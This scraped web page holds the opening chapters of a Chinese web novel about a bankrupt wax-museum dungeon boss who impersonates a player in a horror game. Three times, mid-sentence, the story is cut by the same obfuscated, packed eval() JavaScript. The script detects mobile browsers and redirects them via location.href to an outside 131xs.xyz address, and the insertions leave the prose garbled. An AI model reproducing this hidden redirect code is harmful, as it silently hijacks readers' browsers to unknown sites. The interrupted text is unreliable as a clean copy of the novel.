《吊车尾Boss靠偷家成功上位了[无限]》 1. 第 1 章 【尊敬的副本Boss,您的F级副本《恐怖蜡像馆》本月心跳值收入为:0,本月欠缴租金2000心跳值,累计欠租金额20000心跳值。 因长期欠缴租金,系统评估您已无偿债能力,现终止该副本营业资格。本店铺将于三天后收回转租,请及时搬离。 ——《心跳之城》游戏开发组】 恐怖蜡像馆的仓库里,一个长发凌乱、穿着宽大白T和工装裤的女人瘫坐在地,美艳的五官写满生无可恋,手里还攥着一只老化严重的诺基亚手机。 虞绛,《恐怖蜡像馆》的副本Boss,一个长相与普通人无异的蜡像人。 尽管这个副本长期排名垫底、无人问津,但虞绛向来随遇而安,每天抱着2G网速的老式诺基亚快乐冲浪,从来不为自己的职业生涯发愁…… 直到一分钟前,她收到了这封来自系统的最后通牒。 虞绛手一滑,误点了语音播报,冰冷的机械女声在寂静的仓库内回荡。 周围东倒西歪的半成品蜡像人闻声,齐刷刷地转过头来,却见自家老板自顾自地盯着屏幕发呆。过了片刻,她忽然诈尸般地回拨了电话: “喂,系统?我要申诉!我的蜡像馆生意这么差,都是被你们搞出来的副本排行榜害的,好歹再给我宽限一个月吧?” “哈?排行垫底是因为差评多?这些差评一看就是同行请的水军啊!你看昨天有个差评,说我们空间狭小、布景单一、机制无聊、演技差劲……笑死,我这个月根本没有玩家上门!” “什么?我才没有上网上得精神错乱好吗!我当然知道只有人类世界才有水军,这就是打个比方嘛!说不定是竞争对手偷玩家手机自己写的呢,我看对面的面馆老板就很有嫌疑……” “喂?系统?别挂啊!” 申诉电话被无情挂断,虞绛陷入深深的绝望中。 三天后,她就会从副本Boss变成无家可归的喰鼠,沦为游戏最底层的流浪汉……想到这里,她眼眶一热,几乎要涌出莹润的白色蜡珠。 就在这时,仓库外隐隐传来“吱呀——”的声音,像是大门被推开的轻响。 虞绛瞬间竖起耳朵,难道有玩家光顾?! 但她很快否定了这个不切实际的幻想。蜡像馆已经整整一个月没有生意了,怎么可能会在倒闭前,突然蹦出客人? 不过……万一有奇迹发生呢? 她犹豫片刻,最终还是带着最后一丝希望,从仓库走向前厅。 *** 与此同时,心跳之城西城第八区。 最后一抹夕阳沉入地平线,系统广播在城门处机械地循环播放: 【亲爱的内测玩家,欢迎登录全息惊悚游戏《心跳之城》。】 【您当前所处的位置是西城第八区,街区内以低难度的F级副本为主,适合新玩家入门体验。】 【注意,夜晚的街道上游荡着觅食的喰鼠,请尽快进入副本空间,不要在外逗留。祝您游戏愉快!】 白天残破老旧的街区此刻愈发阴森诡谲,发黄的墙壁上贴着几张千禧年风格的老旧海报,被晚风吹得轻轻卷起。 入夜后,西八区的街道上一片死寂,随之活跃起来的,是下水道里逐渐蠕动着爬出的一群黑影。 它们是心跳之城最低等的怪物,喰鼠。没有实体,没有思想,只有被游戏规则束缚的本能—— 只要不进入副本空间,街上的血肉都是它们的口粮。 此刻,整条街区的喰鼠都聚集在街角的一栋破旧小楼前。只因他们辛苦追猎了半条街的两名玩家,竟在最后关头,逃进了面前这个F级副本:《恐怖蜡像馆》。 蜡像馆的招牌掉落了一半,落灰的大门刚被玩家推开,里面却透不出半点光亮,看着一副濒临倒闭的落魄模样。 有只胆大的喰鼠仍不愿接受猎物逃遁的事实,伸出枯槁的爪子试探着摸上门框…… 然而,意料之中的电击惩罚没有落下! 这个副本……竟然不受系统保护?! 门内隐隐飘来鲜活血肉的气息,几十双暗黄的眼睛齐刷刷盯紧了大门,獠牙磨得咯吱作响,仿佛随时准备蜂拥而入。 可下一秒,一个女人的身影突然出现在它们的视野中,语气慵懒地自言自语道: “果然没有客人啊,不过……门怎么开了?” 喰鼠们的动作一滞,虽然它们的记忆很短暂,但隐约记得自己追逐的玩家应该是一对狼狈的男女,而非眼前这个长发散乱、身形瘦弱的美艳女人。 但仅仅迟疑了片刻,从蜡像馆内飘出的活人气息便彻底蒙蔽了它们残存的理智。 喰鼠们的眼中闪过一抹贪婪的光,迷茫褪去,取而代之的是残忍而坚定的杀意。 像是达成了某种共识,它们悄然收紧了包围圈,融合成一只极为庞大的暗影。在月光的映照下,露出锋利的獠牙,猛然扑向虞绛! “咔嚓——” 獠牙咬合的声音清脆而响亮,但预想中鲜血四溅的画面并未出现。 融合版巨型喰鼠愣了愣,缓缓松开牙齿。入喉的不是温热的血肉,而是一团无味的蜡泥。 它猛地抬头,直直撞入一双漆黑深邃的眼眸中。那双眼睛无悲无喜,宛如俯瞰众生的神祇,冷漠、深邃,令人不寒而栗。 “原来让我空欢喜一场的,是你们这些小老鼠啊?” 糟糕,踢到铁板了?! 同样的念头在所有喰鼠的脑海中炸开,可惜为时已晚。 下一秒,它们的视线被汹涌而出的白色潮水吞没。 那是从虞绛肩头裂口中流淌而出的滚烫蜡液,触感温腻,却带着无可抗拒的侵蚀力,顷刻间便将硕大的喰鼠一层层包裹、吞噬、塑形……直到变成一座硕大的老鼠蜡像。 “嘭——” 新鲜出炉的蜡像被虞绛一脚踹出门外,重重砸在街道上,四分五裂,化作无数蜡像碎块。 尚未彻底蜡像化的黑影瞬间崩散,化为无数小喰鼠,四散而逃。 前厅里,五个蜡像员工还维持着白天营业时的固定姿态。但当虞绛带着森冷的气压经过时,所有员工都不约而同地往后缩了几步,试图降低自己的存在感。 虞绛没空理会他们,她缓步迈出门槛,慢条斯理地抬手撩开额前的碎发,牢牢锁定了那些惊慌逃窜的影子。 她悲愤交加,怒极反笑:“果然落后就要挨打!没有生意就算了,连你们这些底层小老鼠,都敢欺负到我头上?” 她积攒了一整天的怒火,可算找到宣泄的出口了! 此时,逃窜中的小喰鼠也后知后觉地发现,无论它们如何加速,脚边始终紧紧跟着一个女人的影子。 直到它们跑到街区的尽头,被一面高墙挡住去路,才不得不停下,瑟瑟发抖地回头望去。 这一眼,让它们心头最后一丝侥幸也彻底破碎。 它们终于明白了,为什么始终无法摆脱虞绛的影子。 因为,虞绛自始至终都站在蜡像馆门口,根本没有迈出一步。但她的身体却化为无尽的蜡液,向上层层堆叠。随着喰鼠们逃窜的距离越远,她的身形便越发高耸,映在月光下的影子被无尽拉长,成为喰鼠无法摆脱的阴影。 虞绛脚下的蜡液翻涌不休,悲愤的蜡珠从眼角滑落,仿佛打开了某种无形的阀门。 顷刻间,所有翻腾的蜡液如洪水决堤,轰然倾泻而下。滔天的蜡浪咆哮着吞没街道,势不可挡地朝着逃亡的喰鼠奔涌而去。 不过几息之间,最后的喰鼠也被彻底淹没,挣扎的身影凝固在蜡海之中。西城第八区的街道被厚厚的白蜡覆盖,所到之处寸草不生,死寂无声。 虞绛发泄完怨气,轻轻一晃便恢复了原本的身形。 “哦对了!”她似是突然想起了什么,回过头对着紧闭的大门吩咐道:“里面的别闲着哦,营业模式关闭,大扫除模式开启。所有家当都分类整理好,我这就找人过来收废品。” 话音刚落,她抬步朝着隔壁的废品站走去。 *** 蜡像馆内,前台处小心翼翼地探出了两个头。 一男一女,正是被喰鼠盯上的两个新人玩家。 他们倒霉地踩在黄昏时刻登录游戏,一进来便被喰鼠追杀了整整一条街。其中的女玩家叫刘茵茵,是个天生胆小的女大学生,今天被好友陆骁拉进游戏,说是得用脱敏疗法锻炼胆量。 可这条街上,不是招牌半悬的棺材铺,就是彩灯滋滋作响的理发店,还有电锯声此起彼伏的废品站…… 每家店都传递着一股“看我吓不死你”的气势,刘茵茵实在没胆子进去。他们一路狂奔到街区尽头,这才慌不择路地闯进这家蜡像馆。 刚才,他们躲在前台桌下,胆战心惊地围观了虞绛反杀喰鼠的全过程。 等到外面安静下来,陆骁仍有些惊魂未定地感叹道:“我没听错吧?为什么蜡像馆老板的语气那么悲愤?挨打的明明是被她一招秒杀的那群喰鼠吧!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547522|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 刘茵茵却望着黑漆漆的蜡像馆,心生不安:“幸好喰鼠被老板打跑了,可是……老板这么可怕,这个副本会不会更吓人啊?” 陆骁掏出手机,再次确认了副本排行榜的信息:“不会的,这个恐怖蜡像馆在榜单上垫底,差评一堆。玩家们都说副本无聊又老土,完全不吓人。” 室内没开灯,偌大的空间里仅有一张孤零零的桌子和一把陈旧的躺椅,墙壁和天花板上挂着些不伦不类的蜡制装饰,50平米的局促格局,一览无余。 当然,最显眼的还是中央五个形态各异的蜡像,个个嘴巴夸张地张开,身体僵直不动。 当两个玩家悄悄打量这些蜡像时,其中一个跷着二郎的小丑蜡像缓缓转过头。 但由于过于鲜艳的油彩和浮夸的笑容,小丑脸上的塑料感和假人味很明显。 更何况,他翘着二郎腿的屁股下原本应该有个椅子,现在凭空消失了,只能用双脚僵硬地支撑身体,看上去…… 不仅不恐怖,反而有些滑稽? “还好,这个副本看着挺温和的。”刘茵茵松了口气,但她还是不敢在这里过夜,小声道,“老板追杀喰鼠去了,街上应该很安全,我们赶紧回西城门退出游戏吧!” 说着,两人便蹑手蹑脚地走向了敞开的大门,然而下一秒—— “嘭!” 大门被猛地合上! 她惊愕回头,对上一张面目阴森的小丑脸。 只见跷二郎腿的小丑蜡像不知何时已站得笔直,脸上的笑容从油彩勾勒出的塑料涂鸦,变成了诡异而阴森的自然弧度。 他关门的动作干脆利落,白茫茫的瞳孔直勾勾地盯着刘茵茵,像个真正的变态一样猛然逼近。 “大扫除开始。” 他吐出机械而低沉的音节:“不许……不许打开大门,直至清洁完成。” “啊啊啊啊——!” 面对突脸瞬移的小丑蜡像,刘茵茵惊声尖叫。 “卧槽!这些蜡像真的活了!”陆骁迎面遇上了一个电锯蜡像人。 这个蜡像人的右臂被齐整切断,替换为一把旧式电锯。此刻,它像是被触发了某种开关,电锯“嗡”地一声剧烈震颤,锯齿飞速旋转,发出刺耳的轰鸣。 “识别失败,无法分类。” 它机械地低语,声音冰冷:“你属于哪一类废品?还是垃圾?” 两名玩家一边鬼哭狼嚎,一边拔腿狂奔! 然而,无论他们如何逃窜,最终还是被蜡像们逼回了房间中央。 “哗啦啦——!” 天花板被电锯粗暴地锯开,一个巨大的洞口中,碎裂的烛台、断裂的折叠凳、破损的水杯、撑不开的雨伞……大大小小的废弃物轰然砸下,将两人掩埋。 等等,谁会在天花板上藏这些破烂?! 刘茵茵鼻青脸肿地爬出杂物堆,一抬头,却见所有蜡像人已经围拢过来。 他们逼真的五官和生动的表情与真人无异,此刻低头阴恻恻地俯视着他们。 “啊啊啊啊啊啊!”刘茵茵和陆骁抱头尖叫起来。 然而,预想中的攻击并没有降临,身边反倒传来一阵乒铃乓啷的动静。 陆骁这才大着胆子睁开一只眼睛,却见五个蜡像人自顾自地行动起来,动作流畅、分工明确,把破铜烂铁分门别类地收拾好。 纸箱归一类、塑料归一类、金属归一类、玻璃归一类…… “陆骁,我怎么觉得他们在做……垃圾分类?”刘茵茵难以置信地揉了揉眼睛。 但这不是重点,重点是现在是逃跑的好机会! 两人蹑手蹑脚地退到门边,用力一拉! 然而,门明明没锁,却纹丝不动。 “大扫除期间,不许打开大门,直至清洁完成。” 所有蜡像人的动作同时停滞,齐刷刷地转头,看向两人。 “不许……打开……大门。” “不许……打开……” 他们异口同声地低语,机械的回音在空旷的馆内回荡,伴随着电锯的嗡鸣步步逼近。 “呜呜呜我不玩了!我要回家!”刘茵茵崩溃大哭。 陆骁也腿软了,咬牙死撑着挡在她身前:“靠!这哪里是吊车尾副本的实力!!” 就在蜡像人即将触碰到他们的刹那—— “吱呀——” 身后的大门被猛然拉开,刘茵茵猝不及防地跌了一步,撞上了一具冰冷而黏腻的身体。 2. 看不见的孤儿院(一) 虞绛在隔壁废品站扑了个空,这是那个工作狂邻居的常态。他以回收废品和修理家电为生,时常开着一辆快散架的三轮车,在各个副本之间巡回营业,几乎从不见人影。 为了方便客人下单,他还在门口挂了一个日程表,供有需求的客人自行插空填写。 虞绛一排排数到今天的位置,发现这位神出鬼没的邻居明早10点才能回家,紧接着11点又要启程前往下一个副本上门维修…… 唔,下一个是东城第七区的D级主线副本,《看不见的孤儿院》。 她只好在明早10-11点的时间段,填上了自己的预约请求:回收蜡像馆的所有家当。 写完后,她静静站了一会。望着那满满当当的预约栏,实话说还怪羡慕的…… 这小子指定能挣不少心跳值吧! 等她再次溜达到自家蜡像馆,刚推开门,却冷不丁地蹦出来两个人类玩家。两人一脚撞上她,脸色瞬间煞白,仿佛见了鬼,惊叫一声便朝西城门方向狂奔而去。 虞绛愣在原地,满脸问号。 看见老板回来,电锯声戛然而止,五个蜡像人面面相觑,气氛一时有些尴尬。 小丑蜡像鼓起勇气,蹑手蹑脚地走到门边,取下刘茵茵刚才死死攥住的门把手,放回收纳好的金属物里。 随后,几个蜡像人整齐划一地站到分类好的废品前,一副骄傲邀功的模样。 虞绛对整理好的破烂兴趣缺缺,却眼尖地发现门口地上躺着一部手机—— 5G网速,三折叠,新款智能机! 网瘾少女苦2G网久矣! 她开开心心地捡起手机,结果屏幕一亮,赫然映入眼帘的却是讨厌的副本排行榜! 《恐怖蜡像馆》垫底的位置狠狠地刺痛了虞绛的双眼。 虞绛捏紧手机,45度角仰望天空,咬牙发誓: “打铁还需自身硬,不想被欺负就得往上爬!我发誓,总有一天我要登顶副本排行榜,成为全服最牛逼的S+副本boss!” 她振臂一呼:“你们有信心吗?!” “……” 五个蜡像人默默低下了头。 虞绛怒其不争,正想再度开口,手里的手机却突然弹出一条消息: 【亲爱的内测玩家,恭喜您通关F级副本《恐怖蜡像馆》!新手教学已完成,您的个人面板已解锁: 玩家姓名:陆骁 性别:男 等级:Lv1 力量值:40点(有点羸弱) 速度值:40点(有点迟钝) 生命值:40点(有点脆皮) 精神力:40点(有点胆小) 特殊天赋:暂未发现 特殊成就:获得特殊成就【网瘾少女的感谢】(效果不明,也许爱玩手机的蜡像馆老板会以意想不到的方式感谢你哦~) 接下来,您有16小时的休息时间,请在休息时间结束后,前往东七区参加D级主线副本——《看不见的孤儿院》。 副本耗时三天,通关评级分为两档:合格评级奖励8000心跳值,优秀评级奖励20000心跳值,请努力通关! 友情提示:若未按时进入副本,系统会将您随机投放至副本场景。 再次友情提示:不建议您尝试迟到,毕竟您也不想一开局就被扔进boss的老巢吧? 再再次友情提示,游戏处于内测阶段,暂不提供退出选项,请各位内测玩家在公测前,好好享受游戏时光吧!】 虞绛盯着屏幕上的“20000心跳值”,眼睛猛地亮了。 三天,正好是她最后的缓冲时间!如果能代替这个“陆骁”通关副本并拿下优秀评级,她就能赚够20000心跳值,偿还副本租金了! 更妙的是,东七区的《看不见的孤儿院》看起来…… 好像有点眼熟? *** 这一晚,虞绛彻夜未眠。 上半夜,她为自己这绝妙的还债计划激动不已,甚至畅想起未来。虽然自家副本分文不挣,但她却可以假扮玩家去别的副本通关,三天赚回2个W! 这样下去,她不仅能在规定时间内还完欠款,以后还能挣更多心跳值,扩建副本、装修店面、添置家具……升级S+副本指日可待! 下半夜,她回归了网瘾少女的本色,彻底沉浸在5G网速带来的信息冲击里。尤其是游戏论坛的吹水区,简直为她打开了新世界的大门,花花绿绿的热帖狠狠地冲击了她的三观。 例如: “天塌了!和游戏crush线下面基,好消息:是电音辣妹;坏消息:辣妹竟是我对床的室友!” “谁懂啊!带薪拉屎真是牛马最快乐的时刻,爽得我屎去活来,快哉快哉!” “30岁裸辞创业开棋牌室,半年身家过亿,我做对了什么?(扣1免费获取课程资料)” …… 经过半个晚上的挑灯夜读,她如饥似渴地刷完了所有帖子,并自信满满地认为已掌握了人类玩家的审美偏好。 甚至,还为副本改造升级萌生了绝妙的灵感! 翌日清晨,风尘仆仆的修理工裴翎,照着预约单推开蜡像馆的大门。 然后,他愣住了。 原本挂在门外、落满灰尘的招牌被虞绛搬了进来。而此刻,她正大刀阔斧地抹去“恐怖蜡像馆”,挥洒蜡油雕刻出崭新的五个大字。 “蜡……妹棋牌室?”裴翎不确定地念出口,“这是什么东西?” 所有蜡像仿佛开早会一般,乖巧地围坐在一圈,眼神里是和裴翎一样的迷茫。 虞绛看到裴翎,一拍脑门:“哎呀,我忘记取消预约了!不好意思,东西我都不卖了!我决定将这家店改造为【蜡妹棋牌室】,然后重新开业,剑指榜首!” 裴翎沉默了。眼前这个头发乱糟糟、眼神却亮得惊人的女人,精神状况似乎不太稳定。 虞绛兴致勃勃地解释:“恐怖蜡像馆这个名字太直白、缺乏吸引力,所以我采纳了人类论坛的流量密码——‘棋牌’和‘辣妹’,甚至融入了谐音梗。你看,‘蜡妹棋牌室’,是不是巧妙又吸睛?” 说完,她神色严肃地对蜡像们宣布:“从今天起,你们就是我的蜡妹员工!” 裴翎:“……” 他觉得,自己该走了。 “那你加油。既然你要取消订单,我就去下一家了。” 下一家客户,正是给出丰厚通关报酬的D级主线副本——《看不见的孤儿院》。 门外,一辆破旧的三轮车静静停在路边,车后座塞着一个比人还高的冰箱,车尾还挂着一块潦草的手写纸牌:“二手冰箱、空调、洗衣机,拿来卖。” 男人翻身上车,发动引擎。 他身形颀长,灰色背心勾勒出结实的肌肉线条,左臂力量感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547523|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十足,右臂则是一只泛着冷冽金属光泽的机械义肢。他眼下乌青,发丝凌乱,但能从五官轮廓看出帅哥的底子。 裴翎余光扫过门口,却发现虞绛倚在门边,目光灼灼地盯着他。 他心头浮起一丝不妙的预感,微微皱眉:“还有事?” 虞绛飞快摇头,唇角扬起一个甜美的笑容:“一路顺风哦!” 裴翎狐疑地看了她一眼,随即不再理会,踩下油门,三轮车扬长而去。 虞绛的视线牢牢锁住车后座的大冰箱,眼眸中闪烁着兴奋的光芒。 *** 裴翎开着那辆仿佛随时会散架的破旧三轮车,一路颠簸地驶出西城第八区,拐进一片杂草丛生的荒原。 车轮碾过坑洼的地面,晃动了将近半小时,终于在一座精美的院落前停下。 身着黑色西装的管家快步上前,脸上带着恰到好处的歉意: “裴先生,实在抱歉,又麻烦您大老远跑一趟。这次是小姐最喜欢的怀表坏了,她非闹着要您来修不可。” 裴翎点点头,语气平静:“没事。上次的冰箱我也修好了,顺便带过来了。” 说着,他单手从车尾抬起了那台一人高的冰箱。 然而,在感受到出乎意料的重量之后,他的动作微微一顿,默默加了一只手的力道,同时不着痕迹地拦住了想要上前搭手的管家和仆人。 “冰箱有点沉,我直接搬进厨房吧。” 裴翎踏进大厅的瞬间,他余光扫过沙发上的两名陌生男人,径直冲进厨房,啪地关上门。 他深吸一口气,将冰箱放下,手一伸—— 门刚打开,一道熟悉的身影瞬间从里面蹿了出来。 裴翎额角青筋一跳:“你这个疯女人,藏人家的冰箱里干嘛?” 虞绛全然无视他的怒火,四处打量这豪华的厨房,随口答道:我啊?我可是来参加副本的。” 早在虞绛被扛进大厅的那一刻,她的耳边响起了系统播报: 【欢迎进入心跳之城D级主线副本《看不见的孤儿院》,现在为您加载副本背景信息: 在东城第七区的郊外,坐落着一座翻新改建的度假山庄。山庄主人是一位体弱多病的富家小姐,在一年前搬入此地疗养,却诡异地频繁遭受梦魇侵袭。为了彻底摆脱梦魇折磨,小姐高价悬赏能人异士,最终筛选出四位最具实力的年轻人,要求他们在三天内找出梦魇的根源,并彻底解决问题。 主线副本通关标准: 合格标准:存活三天,并解除山庄主人的梦魇。 优秀标准:存活三天,解除梦魇并揭开梦境背后的真相。 友情提示:本副本共有4名玩家,每当存活玩家人数减少1人,系统将赠送1条通关线索。】 在虞绛耳中,这不是系统播报,而是金币落袋的声音。 裴翎继续质问:“你又不是玩家,参加什么副本?” 然而,还没等虞绛反驳,耳边的系统语音再次响起。 “请您对准手机镜头,系统将重新确认玩家身份。” 伴随语音提示,手机上自动弹出了面容识别的界面。 虞绛眨眨眼,灵机一动,左手轻轻拂过自己的脸颊。短短几秒,蜡质的五官变化重塑,长得和陆骁账号里的头像一模一样。 “请张开嘴巴,请上下点头……身份识别成功,内测玩家“陆骁”,祝您游戏愉快。” 3. 看不见的孤儿院(二) 裴翎眼睁睁看着她变换成了一张清秀少年的脸,得意洋洋地炫耀道:“现在,我就是玩家。” 裴翎无语,他竟然忘了这女人是蜡像人,能自行捏脸易容。 他深吸一口气,懒得再干涉,直接拉开厨房门,丢下一句冷冷的警告便走了出去: “别怪我没提醒你,这个D级副本我来过两次,不是那么好通关的。” 虞绛则义正言辞地反驳:“我堂堂一个副本boss需要通关吗?我可是为了登顶S+的远大理想,来主线副本调研学习的!” 当然了,20000心跳值的奖励是必须拿到手的,如果还能把这些精致的杯子、桌椅和咖啡机都搬回去就更好了! 当虞绛顶着陆骁的脸回到大厅时,裴翎已经不知去向,只有沙发上的两个陌生男人疑惑地看了过来。 “你也是玩家吧?我叫顾弥彦,兄弟怎么称呼?” 其中一个面容端正的年轻男人站了起来,温和地跟她打招呼。 虞绛清了清嗓子,刻意压低声音:“我叫陆骁。” “仇辛。”另一位男人简短地自我介绍,他脸上有一道狰狞的刀疤,目光锐利地上下打量了她一番。 “系统说,迟到的玩家会被随机投放到副本地图里。你还算好运,只是被传送到了厨房。” 虞绛摸了摸下巴,心想这倒是个不错的理解,省得她费力找借口圆过去。 “不过,第四位玩家迟迟未出现,不会是被传送到了什么危险的地方吧?”顾弥彦皱起眉头,语气带着几分担忧。 虞绛一愣,心虚地想起了昨晚撞上的两个玩家。 这个副本的第四位玩家,很有可能就是陆骁的同伴,那个撞上她后尖叫逃跑的女玩家。 看起来,那女生还挺胆小的…… 然而,还未等三人多聊几句,楼上传来一阵轻缓的脚步声。一个脸色苍白的年轻女子披着厚重的天鹅绒毛毯,在仆人的搀扶下缓缓走下楼梯。 不用多想,正是系统提到的山庄主人,那位体弱多病的富家小姐。 “各位勇士,欢迎来到度假山庄,我是山庄主人——桑柒。” 桑柒的骨相分明,长相透着几分英气,只是脸色过于苍白憔悴,压住了凌厉的气场。 她狭长的双眸扫过众人,声音轻柔,却带着隐隐的疲惫: “想必你们已经了解情况了。我自从来到这里疗养后,频繁遭受梦魇侵扰,精神状况每况愈下。医生对此也束手无策,我只能求助于你们了。” 话音刚落,她便控制不住地剧烈咳嗽起来,仆人连忙端上一杯热水和药片,让她服下。 “所以,请你们务必在三天内,找出梦魇的根源。”她的声音透着一丝恳切。 “你们的房间在二楼,午餐后可以回房休息,也可以自由活动。庄园内公开的区域都可以探索,但我平日喜静,请不要擅自到三楼打扰我。 “有问题可以找管家葛叔,我身体不适,就不陪大家用餐了。” 话毕,桑柒用手帕掩住口鼻,在仆人的搀扶下缓缓上楼。 管家葛叔适时出现,身后跟着整齐列队的仆人,将一道道精致的菜肴摆上餐桌。 顾弥彦和仇辛对视一眼,作为首次进入主线副本的新人,他们不确定副本提供的食物是否安全,犹豫不决。 然而,虞绛已经一屁股坐下,眼冒金星地叉起一块油滋滋的鸡腿,毫不犹豫地大快朵颐。 “陆兄倒是心大。”顾弥彦见状,顿时放松几分,笑着坐下,“既然我们三个都是新手玩家,我建议团结合作、共同进退,如何?” 虞绛嘴里塞满食物,含糊点头:“没问题。” 仇辛眼中闪过一丝微光,缓缓道:“我也没意见。” 顾弥彦对此颇为满意,自觉当起了小组领袖: “那我们饭后就分头探索庄园吧。根据桑柒小姐的说法,除了三楼,其他地方都可以查看线索。” 虞绛咽下最后一口草莓蛋糕,心里惋惜地想着: 三楼看起来才是最豪华的地方,想必昂贵又稀奇的玩意也最多,不能上去实在可惜。 仇辛沉吟片刻,补充道:“我刚才向管家打听了庄园的布局。我们所在的是主楼,除了刚才提到的二、三楼之外,还有放杂物的地下室,主楼外有仆人居住的侧楼,以及一大片花园。” “那我去地下室!” 虞绛兴致勃勃地举手,在她看来,地下室应该藏着不少闲置的好东西,要是能顺手带回去就再好不过了。 其他两人没有异议,顾弥彦选择探索花园,仇辛前往侧楼。三人吃饱喝足后,便分头行动。 打着“查探梦魇根源”的旗号,虞绛顺利进入地下室。昏暗的走廊仅有几盏煤油灯散发着微弱的光,影影绰绰的光影映在墙上,衬得走廊愈发幽深阴森。 走廊的左右两侧各有两个房间,虞绛一一试了过去,除了左手边最深处的房间能打开以外,其他房间全部都上了锁。 她走进唯一没有上锁的房间,映入眼帘的却是一块块被黑布蒙住的物品,形状各异,大小不一。 虞绛挑眉,干脆利落地掀开黑布。 霎时间,冰冷的镜光在房间内骤然亮起,映入眼帘的竟是满屋子的镜子。 大到一人高的全身镜,小到巴掌大的梳妆镜,甚至连衣柜上的装饰镜片都被完整拆下,摆放在房间角落。 虞绛站在房间中央,发现自己被无数镜面环绕,倒影交错间,仿佛整个房间都挤满了她的身影。 她微微皱眉,这才后知后觉地意识到,进入副本以来她确实没有见过镜子,甚至连任何反光的东西都没有。 那位病弱的桑柒小姐长得也不难看啊,难道是得了什么不能照镜子的恶疾? 虞绛按下心头的疑惑,纠结片刻,最终顺手摸了块巴掌大的梳妆镜。 镜背由彩色宝石镶嵌,即便在晦暗的灯光下依然熠熠生辉,雕工和用料和这座山庄的其他装饰品一样,透着极致的奢靡感。 等她回到一楼大厅时,其他两个玩家还没回来。她随意绕着大厅逛了一圈,偌大的会客厅、厨房之外,一楼几乎没有任何隐秘空间可供查探。 站在门口的两名女佣微笑着朝她点头致意,其中一个年纪尚轻,大约十六七岁,在与虞绛对视的刹那,饱满的苹果肌上泛起一抹红霞。 虞绛愣了一下,旋即意识到自己现在顶着一张年轻男性的脸。尽管身上依旧是她自己的宽大T恤,可她记得在论坛吹水区看过类似的热门穿搭,好像叫什么“清纯男大风”? 她回忆了下热帖里的关键词,眼神清澈、笑容明媚、姿态松弛…… 放下手机,她依样画葫芦地单手插兜,步伐悠然地朝女佣走去。 “可爱的小姐,我有点累了,你能带我去二楼的房间吗?”她睁着大眼睛,无辜地盯住对方,故意将脸凑近。 女佣耳根迅速泛红,甚至下意识地后仰了一些:“啊,可……可以的,陆先生,我带您上去。” “谢谢你。”虞绛露出一个灿烂的微笑。 女佣似乎被这笑容迷得一晃神,脚步都有些虚浮,强撑着领着虞绛上楼。 “二楼一共有五间房,格局都是一样的,您的房间在这里。”她停在楼梯口最近的一间门前,恭敬地推开门。 虞绛没有立刻进去,而是指尖摩挲着门把手。她沉吟片刻,回头柔声问道: “我能向你打听一下桑柒小姐的病情吗?毕竟,我也想尽快帮她解决梦魇……” “当然!”女佣有些紧张地踮了踮脚,磕磕巴巴道,“小姐的病情也不是什么秘密。” “小姐从出生起就患有先天性心脏病,严重到药物也无法控制……后来,小姐的父母费了很大力气,花了很多钱,终于为她安排了心脏移植手术,自那之后她的身体状况才有所好转。” 说到这里,女佣语气里带了些羡慕:“有钱真好啊……虽然小姐身体不好,但花钱找一颗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547524|171210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 匹配的心脏倒也不难。而且她父母去世后,还给她留下了一大笔遗产。” 虞绛若有所思地转了转眼珠:“那她的梦魇又是从什么时候开始的?” 女佣认真回忆道:“大约是一年多以前,那时小姐刚搬进山庄,觉得这里环境好,适合疗养。可没过几天,梦魇便开始了……” “每到午夜时分,小姐会像做噩梦一样突然惊醒,然后在走廊里狂奔,像是在躲避什么东西。但无论我们如何唤醒她,都无济于事,只能等她自己折腾一个小时,才能彻底清醒过来。” 她回忆起桑柒梦魇发作时的恐慌,脸上浮现一丝不忍。 “她害怕镜子吗?”虞绛忽然问道。 女佣愣了一下,惊讶地看了她一眼: “陆先生,您怎么知道的?小姐的梦魇开始后,变得有些疑神疑鬼,见到镜子或者反光物品都会暴躁失态,甚至下令把山庄里的镜子全藏起来了。” 虞绛若有所思地点头,正欲继续追问,却见裴翎从三楼楼梯走了下来。 “他怎么还在这里?”虞绛低声问。 女佣探头抬头一看,凑到她耳边小声说道: “小姐最宝贝的怀表坏了,特意让裴先生上门维修,修理期间裴先生会住在山庄里……而且,我感觉小姐每次看到裴先生,心情都会比平时好一些。” 虞绛一激灵,看向裴翎的目光顿时复杂了起来,像是在说—— 你小子还有这种桃花?! 裴翎大概率读懂了她的意思,脸色铁青地别过头去,沉默地下楼。 然而,匆匆离去的裴翎全然未察觉,自己外套的口袋被悄然翻开。 一只白皙莹润的蜡制手臂无声地从楼梯扶手上伸出,指尖轻巧一勾,便将裴翎口袋里的一只怀表拎了出来。 